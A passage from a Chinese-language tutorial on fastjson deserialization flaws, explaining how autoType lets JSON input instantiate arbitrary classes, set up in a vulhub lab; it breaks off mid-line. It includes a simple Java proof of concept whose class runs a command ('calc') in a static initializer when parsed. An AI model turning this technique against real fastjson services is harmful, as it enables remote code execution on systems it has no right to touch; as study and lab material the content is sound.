漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
复现环境:vulhub
0x01.fastjson
处理json的方式有两个:parseObject和parse
返回的类型不一样,如果你的JSON中有private属性,且没有通过setter或构造方法设置值时,底层无法通过反射的方式为属性赋值,parseObject不会解析,值为空
JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
使用Feature时 传递参数可以让parseObject解析私有属性
简单的POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class Test {
public static void main(String[] args) {
//创建恶意类的实例并转换成json字符串
Hello testHello = new Hello();
String jsonString = JSON.toJSONString(testHello, SerializerFeature.WriteClassName);
System.out.println(jsonString);
//将json字符串转换成对象
Object obj = JSON.parse(jsonString